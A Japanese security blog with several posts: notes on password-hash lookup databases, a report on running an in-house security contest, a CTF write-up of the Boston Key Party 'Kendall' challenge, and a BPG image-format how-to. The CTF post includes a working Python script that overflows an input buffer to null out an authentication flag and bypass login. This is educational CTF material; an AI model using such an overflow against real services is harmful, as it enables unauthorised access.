    • あるサイトに繋がらなかったり結果が見つからなくても、他の複数のサイトも見にいくようにすることでヒット率を上げる
  • オンラインサイトを利用しない手段
    • デメリットで上げたとおり、落ちていたら利用ができないので自前でもこういうものを用意してしまう。さっきのHASHKILLERにもWordlistが転がっていたり、色んなところにパスワードリストがあるので、これらを使って自前でDBを作っておく。もちろん悪用しない前提であり、させないように公開もしないのが望ましい。

ということで、作ったものの公開はできないだろうと思うけど、こういうものを作ってみるのは勉強にもなりそうだと思った。
Wordlistを集めているときに、「あ、こういうパスワード使っちゃうとヤバいんだな」とかの発見もありそうだし、身になることがあればまた書こうと思う。

会社でセキュリティコンテストをやってきた

けっこう前の話になるが、社内でセキュリティコンテストをやってきた。

会社は某SIer. システム開発とか構築、運用やその他業務がある。
システム開発ではもちろんセキュリティについても考慮しなければならないわけで、その啓蒙、スキル底上げの一助になればと思い、一部のCTFチームメイトとともに運営側に参加した。

自分は、コンセプトとか全体的なやり方の策定、問題作成、当日の運営をメインにやらせてもらった。
すべては公開できないが、いろいろと悩んだこともあったので書ける範囲で書こうと思う。ボカすところはボカして書く。

コンセプト

まず、"SIer"でのコンテストは、どんな問題にしたら良いのか。
業務のどのフェーズでもセキュリティを考慮する必要はあるが、まずは開発時にしっかりしたものを作れるようにしたい。ということでスコープは「開発時に求めるセキュリティ」とした。
では、ここで求められるものは、どんなものがあるだろう。
たとえば次のようなものがあると思う。

  1. 脆弱性発見能力
    • 脆弱性を見つけないと修正することはできない
    • プログラムを直接書かなくても、設計やレビュー、試験にて発見することが求められる
  2. 脆弱性修正能力
    • 当たり前だが修正できないと守れない
    • プログラムを書く立場でなくても、修正方針の立案やその評価をする必要がある

これらは、プログラムを書く場合も、書かない立場の場合も同じなんじゃないかな。
ということから、開発時の観点としてこれを定めた。

次に、これを細分化しどんな力があれば発見や修正ができるのか、を分類した。
たとえば、脆弱性発見能力ならば、

  • ブラウザ上に表示される情報から発見ができる
  • ツールの使い方を知っており、それを利用することで発見できる
  • 実際に悪用されるケースを考えた攻撃手法を発想できる
  • 最近のセキュリティ動向に追従している
  • 複数脆弱性やテクニックを複合的に使用できる

脆弱性修正能力ならば、

  • 画面やログ等からどんな攻撃が行われているか検知、判断できる
  • パッケージのアップデート等、ベンダ推奨の対策ができる
  • コンフィグの見直しで安全な環境を作れる
  • コードを修正しAPの脆弱性をなくせる
  • 実際に攻撃されている状況を解決できる

といった具合。
これらを横軸に並べ、問題を考案するときにはこのマトリクスで○×を付けていった。

また、脆弱性発見のバリエーションは多岐にわたるが、修正のバリエーションは定番が多く実は少ない(最新版にアップデートする、エスケープ処理を施す、Prepared Statementを使う、 etc)特性があるのではないかという議論の流れから、「修正能力より、発見能力を重視する」方向性とし、

  • 脆弱性発見は、難易度を分け「簡単に修正できるが、発見しにくい脆弱性」を見つけられることに重点を置く
  • 脆弱性修正は、奇をてらわず基本をしっかりと修正できることに重点を置く

に二分し、それぞれを独立させた問題構成とした。(発見/修正バリエーションの話は、もちろん全てがそうではないと思うけど)
また、これらを満足するためには参加者vs参加者である必要はないことから、CTFで言うJeopardy形式とした。

ジャンル

開発している全ての分野を対象とすると広すぎるため、その中でも多いWebアプリケーションをメインとした。
この問題考案においては、OWASP TOP10や自社開発で試験時に多く発見される脆弱性などを参考とした。

また、技術以外の要素としても、セキュリティ動向に目を向けることへの啓発という観点から、セキュリティの知識があると解けるような問題も準備。
たとえば近年流行っているパスワードリスト攻撃を使って堅牢なサイトの情報を抜いたり、昨今に騒がれた攻撃手法(ShellShock, HeartBleed などなど)で情報を取得するといった、ググれば攻略できるけど知っていないとダメなものや、少ない手間でも大きな被害が出ることを体感できるものを用意した。

採点方法

脆弱性発見方法は、CTFと同じように Flagワードを発見しサブミットする方式とすることで、大幅な採点簡略化を実現できた。
問題は修正問題の採点だった。実際に修正したものをどうやって採点するのか?
これは、採点自動化の施策として、社内で推奨される構成管理ソフトでのコミットをhookして、Jenkinsを使ってSeleniumの試験をまわす仕組みを導入した。
参加者がソースコードを修正したら自動でビルド・デプロイがかかり、試験が走って回答チームのOK/NGが出るという仕組み。
これにより、当日の稼働を大幅に削減でき運営をスムーズにすることができた。

会場準備

NWの引き回しとか会場全体のレイアウトなどはやってもらっていた。ガラが出来上がったところから準備に加わったが、会場を見たら壮観だった。
wktkしながら当日の環境準備に参画。だがすべてうまくいくわけではなかった。

  • 平等性を確保するために参加者PCを運営側で準備した。だが修正問題のAPがエラーなくビルドできるために整備し、参加者分のPCに構築するのがえらく大変だった。全て作りきってからクローンを作るようにすればよかった…
  • 自動採点のテストパターンが足りておらず、全部通しの試験で動作しない。これは2日前の夜に顔が真っ青になった。試験ダイジダヨ試験(開発する会社で何当たり前のこt(ry

環境差異による問題も起こっていて、普段の業務とそうでない場合の意識の違いがこんな問題を生むことを身をもって知る体験をした。

当日

大会は業務時間で開催する。説明や表彰なども考えると、純粋な競技時間はそんなに長くない。
環境面の問題などは想定内のことが多く、着々と対応しながら順位を見たりチームの様子を見たり背中をかいたりしていた。
問題ページでヒントを出すタイミングを考えるのも面白い。

ひとつ失敗したと思ったのが、性能問題だった。
100人にいかないまでも、それに近い人数からアクセスが来る。
これは想定はしていても十分な性能試験ができておらず、たまに繋がりにくい状態になったりして、ここにも課題があると感じた。

実際にやってみての気付き

良かったところ

  • 幅広く出題したけど「あ、実はうちの会社ここのジャンルは強いんだな。」とか意外なことがわかったりして、勉強にもなり新鮮だった。
  • CIツールを使って試験を自動でまわす仕組みは、自動化をよくやっている知り合いに手伝ってもらって導入したが、思ってたよりも簡単に運用でき、使い勝手も良く優秀だった。これは日常業務でも導入しようと思う。
  • Writeupを見るのって楽しい。これは、書く側でなく見る側になったのは始めてだったが、見るだけでなんだか嬉しくなる。自分が作ったものに真剣に取り組んでくれていることに、少しこみ上げるものがあった。
  • 人脈が広がった!実は会社には年齢関係なく興味を持ってる人がたくさんいて、俺らもっと繋がれるじゃん!という刺激を大いに受けた。

次回への反省

  • 試験の少なさがネックだった(機能試験、性能試験、本番リハすべて)。開催前数日の大変さに顕著に出てしまって、次回へのノウハウがガッツリと溜まった。
  • 本業の片手間で取り組んだこともあり、しっかりと腰を据えて最初から最後まで見れたわけではなかった。これが原因で課題が出てきたりして、もっと専念しながらこういう営みをできるような働きかけを会社に対してできると良かった。
  • 参加者以外への配慮。これは、リアルタイムでのスコアボードへの反映だったり、周りから見て中で何をやっているのか見えるようになる仕組みだったり。こういった配慮ができると、より周囲を巻き込んで盛り上がることができたと思う。

その他思ったこと

  • 今回は「開発」というスコープの中で開催したわけだが、実際は張感のある中で顧客説明や解析を実施する場面もある。Hardening のような形式とするのも、今後の検討事項としてはありかもしれないと思った。
  • 反省でも書いたけど、外の人が気軽に見れるようにする工夫はやはり必要だ。せっかく大勢を巻き込んでいるので、参加者意外への配慮はもっとしていくべきだと思った。参加していなくても「セキュリティって面白いんじゃない?うちでももっと力入れようよ!」って思えるように。
  • 作ることで見えることが多かった。次、たとえば今回出場して満足した人がいたら、今度は作り出す側で出てみたら良いんじゃないか。より多くの人が関われて裾野がどんどん広がっていくんじゃないかな。

さいごに

全体的に、大きな失敗もなく色んな人を巻き込んでコンテストを開催することができた。
"SIer"を対象としたコンテストのコンセプトを考え、問題の構成を検討するところから始まり、モノを作り上げるという難しいけど貴重な経験をした。

「日本にはセキュリティ技術者が26.5万人いる」とか「セキュリティ技術者不足」と叫ばれている現在。
どこまでできれば良いのか難しい話だけど、別に「セキュリティ技術者」という肩書きがなくても、開発者をやっていてセキュリティのことも考えられる人が増えればいいな。と、個人的には思っている。

そういう意味で、身の周りでこういう啓蒙活動をするのも、やってみると悪くない。
問題を解くではなく「作る」体験をすることで視野が大きく広がったり、人と人を繋げ繋がることができた。またそれ以上に自分自身の意識が大きく変わり、以前とは違う考えも浮かぶようになってきた。

来年は声がかかるかな。機会があれば、またかかわりたいなと思っている。

BKPCTFを触りだけやってきた

先週の土日に Boston key party CTF に少しだけ参加した。
いつもReverseばっかり見てるけど、そろそろPWNもできるようにならねば…と思い立ったのでPWN問題に取り組んでみた。
今回は参加したというほどガッツリやっていないけど、初のx86-64解析デビューということもあるので(そして初のボッチCTFということもあり)記念に Kendallの問題(PWN 300. 途中まで)を書くことにする。

問題サーバに接続

問題サーバに接続するよう問題文が書いてあり、x86-64で動作するELFファイルが与えられる。
実行してみると、DHCP Management Console なるものが表示される。

[rintaro@rintaro_PC] $ nc 52.0.164.37 8888
#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]# 

DHCPのログ参照やステータス参照をできるようだ。
ただし、変更や反映は認証済みの状態でないとできないようだ。
無論パスワードはわからない。

[m]# a
Password: hoge
Authentication failed!
[m]# 

バイナリを見てみる

一通り遊んだところでx86-64バイナリを眺めてみる。

[root@madone] # readelf -r kendall.a125e431e553c7ec2d9845c90c0f4ed1

Relocation section '.rela.dyn' at offset 0x7d0 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000602658  001300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000602840  002300000005 R_X86_64_COPY     0000000000602840 stdout + 0
000000602850  002400000005 R_X86_64_COPY     0000000000602850 stdin + 0
000000602858  002500000005 R_X86_64_COPY     0000000000602858 optarg + 0

Relocation section '.rela.plt' at offset 0x830 contains 34 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000602678  000100000007 R_X86_64_JUMP_SLO 0000000000000000 strncpy + 0

(snip)

000000602718  001500000007 R_X86_64_JUMP_SLO 0000000000000000 listen + 0
000000602720  001600000007 R_X86_64_JUMP_SLO 0000000000000000 bind + 0
000000602728  001700000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0
000000602730  001800000007 R_X86_64_JUMP_SLO 0000000000000000 perror + 0
000000602738  001900000007 R_X86_64_JUMP_SLO 0000000000000000 getopt + 0
000000602740  001a00000007 R_X86_64_JUMP_SLO 0000000000000000 accept + 0
000000602748  001b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit + 0
000000602750  001c00000007 R_X86_64_JUMP_SLO 0000000000000000 fwrite + 0
000000602758  001d00000007 R_X86_64_JUMP_SLO 0000000000000000 getaddrinfo + 0
000000602760  001e00000007 R_X86_64_JUMP_SLO 0000000000000000 fork + 0

(snip)

Network部分まで実装してある模様。forkだしメモリがリークできれば普通にいけんじゃね、とか思いつつ読んでいく。
vmmapを見てみると.pltの領域に実行フラグが立っていて、open, read, writeやsystem関数が存在したため最初はこれらを奪う問題かと思っていたが、読み進めると認証部分をどうにかできそうなことがわかる。

読み進めていくと、認証済みかどうかを見るためのflagが.bss領域の"0x602900"に存在し、そこを見て認証状態を確かめている。
初期値で1がセットされ、0ならば認証済み、それ以外ならば未認証という具合だ。
f:id:f_rin:20150303011011p:plain

そして認証flagに隣接する領域(0x80Byte手前)に入力文字列が入る領域があることが分かった。

gdb-peda$ x/50i $rip
=> 0x4014fe:	mov    QWORD PTR [rbp-0x10],0x602900       # 認証flag
   0x401506:	mov    rax,QWORD PTR [rip+0x201333]

   (snip)

   0x4015a1:	lea    rax,[rbp-0x40]
   0x4015a5:	mov    esi,0x602880                        # 入力文字が入るところ
   0x4015aa:	mov    rdi,rax
   0x4015ad:	call   0x400c80 <strcmp@plt>

さらに、DHCPのログ検索機能の中で文字入力のMax Length=0x80 として入力を受け付ける箇所がある。
怪しいと思い入力受付機能を見ると、最後の改行文字またはMax Length+1文字目を文字列の終端(Null Byte)に置き換える処理を施している。つまり、この機能を呼び出して80文字以上を入力すると認証flagの領域をNull Byteで上書きでき、認証をバイパスできるということになる。

認証バイパス

ということで、認証flagを書き換える。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket, re, telnetlib

def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	print "switch to manual mode."
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

host = "52.0.164.37"
port = 8888

# bypass authentication
s, f = sock(host, port)
print read_until(f, "[m]# ")

f.write("d" + "\n")
print read_until(f, "[d]# ")

f.write("f" + "\n")
print read_until(f, "Enter filter condition: ")

f.write("a"*0x80 + "\n")
print read_until(f, "[d]$ ")

shell(s)

権限昇格でき、すべての機能を使うことができるようになった。

[rintaro@rintaro_PC] $ python bypass_auth.py
#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]#
[d]#
Enter filter condition:
[d]$
switch to manual mode.

m
[m]$ a
Password: aaaa
Authentication succesfull
[m]$

使えるようになった機能は以下。

  • start ip 変更
  • end ip 変更
  • netmask ip 変更
  • nameserver ip 変更(使えそう)
  • renew leases (なにやら"./renew_lease"とかいう怪しいプログラムを叩いている)

バイナリ解析では他にもBOFを使って制御を奪取できそうな箇所を探したけど、そんなところはなかったので、Name Serverを自身のサーバIPにして"./renew_lease"を叩いたら何か飛んでくるんじゃないかなーと思っていたが、今回ぼっちでやってて外部公開サーバも持ってないし、飲みにいく予定もあったためここで断念。

なんか認証バイパスしたら変に納得してしまった感があり、後はひたすら飲んでいた。

今回で良くわかったこと。

  • 特にSECCONとかで思ってたけど、外部公開サーバはやっぱりないとダメだ。やはりハニーポット立てるべきか…
  • ボッチCTFはイクナイ(・A・)。腰を据えてしっかりやれない。自分に必要なのは集中力と忍耐力だった。
  • 他の問題に目を配らなかったけど、1問くらいは簡単なやつでいいから解いておいたほうがいい。ちゃんとやってなくても後で振り返ると意外とダメージがある。

とはいえ久々にバイナリ読んで穴を探すっていう作業は楽しかった。
次はもっとじっくりとワイワイやりたい。

追記:
Balalaika Cr3wがWriteup出してたので見てみたら、ここまではアプローチとしては正しかったみたいだ。
httpsで待ってるとSuperfishでアクセスが来て、FLAGになってたみたいだ。
なんてタイムリーw さすがCTF界隈。

うん。これはマジで外向けのサーバ用意したほうがいいな…

新しい画像ファイルBPGを使う

"BPG Image format"という新しい画像ファイルフォーマットが出てきている。
まだViewerがなくて、デフォルトで見るにはJavaScriptを使わないと見えないけど、圧縮率も高いようなので使ってみた。
それとマジックバイトも気になったので見てみた。

BPGのサイトはこちら

特徴はざっとこんな感じ

  • 高い圧縮率。JPEGよりも遥かに小いサイズだが同程度の品質
  • JavaScriptデコーダさえあれば、ほとんどのブラウザでサポート
  • JPEGと同じchroma format(彩度とか輝度とか)。これにより、変換による劣化を低減
  • 圧縮時のロスがない(可逆ってことですかね)
  • EXIF, ICC profile, XMPとかのメタデータも含められる

なお、今回はWindows環境にて試している。
特にレジストリ書き換え等もないため、ファイルを配置するだけで利用可能である。

BPGファイルの生成

まずはBPGファイルを利用するために、ページからBPGのエンコーダをダウンロードする。
f:id:f_rin:20141219011617p:plain

zipを解凍して、そのフォルダにjpgとかpngファイルをコピーする(今回は "in.jpg" )。
f:id:f_rin:20141219012247p:plain
あとは元の画像ファイルを引数としてエンコーダを叩いてあげるだけ。
CMDでやるならば、以下の1行で良い。カレントディレクトリにファイル"out.bpg"が出力される。

C:\Users\rintaro\bpg-0.9.3-win32>.\bpgenc.exe in.jpg

もしくは、元の画像ファイルを"bpgenc.exe"までドラッグ&ドロップしてあげればいい。
元の画像ファイルと同じフォルダに"out.bpg"が出力される。
f:id:f_rin:20141219012924p:plain

※ちなみに、jpgとpngは変換できたが、bmpgifはできなかった。

C:\Users\rintaro\bpg-0.9.3-win32>bpgenc.exe in.gif
Not a JPEG file: starts with 0x47 0x49
C:\Users\rintaro\bpg-0.9.3-win32>bpgenc.exe in.bmp
Not a JPEG file: starts with 0x42 0x4d

BPGファイルの閲覧

先にも書いたが、WindowsにはまだViewerがないようで、JSにより復元する。
解凍したフォルダの中に、htmlというフォルダが入っている。
サンプルを見ると、その中の"bpgdec8b.js"を利用すると閲覧できるようだ。
同じフォルダに、生成したBPGファイルを入れ、以下のHTMLを書く。

<html>
  <head>
    <meta charset="UTF-8"> 
    <script type="text/javascript" src="bpgdec8b.js"></script>
  </head>
  <body>
    This is a bpg.<br />
    <img src="out.bpg">
  </body>
</html>

BPGファイルの指定は、jpgなどと同様にimgタグで指定すればよい。
あとはこのHTMLファイルを開くだけ。
f:id:f_rin:20141219013932p:plain

ちなみにサイズを見てみると半分以下。なかなか賢い。
f:id:f_rin:20141219020307p:plain

ちゃんとJPGとの比較・評価はしてないけど、見た目変なところはないし、サイズも小さい。閲覧さえ簡単になればいいと思った。
jpgとの比較結果を見たければ以下サイトとかを見るといいと思う。

JPEG画像の約半分のファイルサイズで同品質のものを表示できる画像形式「BPG」が誕生、実際に使ってみるとこんな感じ - GIGAZINE

BPGファイルのマジックナンバー

このBPGファイルに対してfileコマンドを打ってみる。
もちろん結果は、

[rintaro@rintaro_PC] $ file out.bpg
out.bpg: data

見事にdataとなっている。
ただ、hexを見てみると、先頭6バイトがは固定されている。

[rintaro@rintaro_PC] $ xxd out.bpg|head
0000000: 4250 47fb 2000 8161 8161 8656 0392 4740  BPG. ..a.a.V..G@
0000010: 4401 c190 9581 1200 0001 2601 af26 e7ab  D.........&..&..
0000020: 7ff8 8039 a57d b4fe d6b5 3465 fcad 2004  ...9.}....4e.. .
0000030: 731f 8c55 04c3 539d 401b 8be7 9035 3cc4  s..U..S.@....5<.
0000040: 9949 138c e9dd 923c 82b5 29be 6d1d 6206  .I.....<..).m.b.
0000050: 3a0d fdf3 644f 1eae b436 4dab e746 390c  :...dO...6M..F9.
0000060: 62e5 009d 4eaa 56de 1aaf d933 af4a 9abe  b...N.V....3.J..
0000070: 4aac 27d1 2308 ec00 de20 0b6c 20a6 ac1e  J.'.#.... .l ...
0000080: 7c8a 7cc1 392d 0811 b24f 9bd4 4d9b 5662  |.|.9-...O..M.Vb
0000090: 561f 802f 29a1 af56 d343 9860 ab7c 17cf  V../)..V.C.`.|..

ASCIIだと先頭3文字が "BPG"から始まる。hexだと "4250 47fb 2000" となっているのがBPGファイルだ。
もしCTFとかでなんかわからんファイルが出てきて、先頭が"BPG"となっていれば、画像ファイルとして復元できるだろう。
というか、そのうちfileコマンドが対応するよね。メジャーになればだけど。

それまでは、目grepでがんばることにする。